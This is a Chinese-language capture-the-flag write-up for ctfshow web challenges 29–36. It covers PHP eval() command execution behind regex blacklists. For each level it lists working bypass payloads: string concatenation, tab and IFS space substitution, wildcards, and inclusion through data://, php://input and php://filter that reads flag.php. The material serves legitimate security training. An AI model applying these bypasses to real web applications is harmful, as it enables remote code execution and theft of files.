ctfshow web入门 命令执行 web29-36
29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化
web29
1 error_reporting(0); 2 if(isset($_GET['c'])){ 3 $c = $_GET['c']; 4 if(!preg_match("/flag/i", $c)){ 5 eval($c); 6 } 7 8 }else{ 9 highlight_file(__FILE__); 10 }
涉及知识点
1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})
(前六个为php可调用并执行linux指令的函数)
2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接
3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
payload
c=system('tac fla""g.php');
注意:不可单引号内用单引号,双引号内用双引号
若使用 cat 命令查看,需要右击查看页面源代码
web30
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
黑名单增加:system、php
payload
c=syst\em('tac fl""ag.p""hp'); //对system进行绕过处理,但无法获取flag 真正payload:c=passthru('tac fl""ag.p""hp'); 理由: system()函数是 php 中的函数,不支持 '' "" \ ? * 绕过 但linux支持
但 php 支持字符拼接、数组拼接 c=eval('sys'.'tem("tac fl\ag.p\hp");'); c=eval(implode(['sys','tem("tac fla','g.ph','p");']));
web31
1 error_reporting(0); 2 if(isset($_GET['c'])){ 3 $c = $_GET['c']; 4 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 5 eval($c); 6 } 7 8 }else{ 9 highlight_file(__FILE__); 10 }
黑名单增加:cat sort shell . ‘
知识点:
空格绕过:<>、{,}、${IFS}、$IFS$9、%09、%0a、%0b、%0c
payload
c=echo(`tac%09fla*`); //由于屏蔽 . 应用匹配符替代(* ?) c=echo%09`tac%09fla*`; c=passthru("tac%09fl*"); //单引号被屏蔽,只能使用双引号
web32
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
黑名单增加: ` echo ; (
由于 ( 的,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议
知识点:
1、文件包含函数:include、require、include_once、require_once
2、伪协议:php:// data:// file:// zip://
3、分号在代码中表示结束,php代码格式为 <?php ?>,分号与 ?> 同为结束符,这里使用 ?> 代替分号
payload
解法一 c=include%09$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?> //使用data伪协议 解法二 c=include%09$_GET[1]?>&1=php://input //使用php伪协议
抓包,在请求体、请求头添加下列信息
解法三 c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //使用php伪协议 得到 PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzJhZmM2MDgtNzNjNC00ODEyLWJkMGYtOTQ0ZmNjOTVhMGUxfSI7DQo= 这是对flag.php文件进行base64编码后的内容 进行base64解码,可得flag base64解码 原因 源代码只对参数 $C 进行黑名单匹配,我们对 $c 再嵌套一个参数,对于 $c 嵌套的参数无法匹配
web33
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
黑名单添加双引号,不影响我们,解法同32
web34
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
黑名单添加冒号,解法同32
web35
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
黑名单添加 < =,解法同32
web36
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
黑名单添加:/ 数字
将 web32 的参数换成字母
payload
c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php c=include%09$_GET[a]?>&a=php://input c=include%09$_GET[a]?>&a=data://text/palin,<?=system('cat flag.php')?>
参考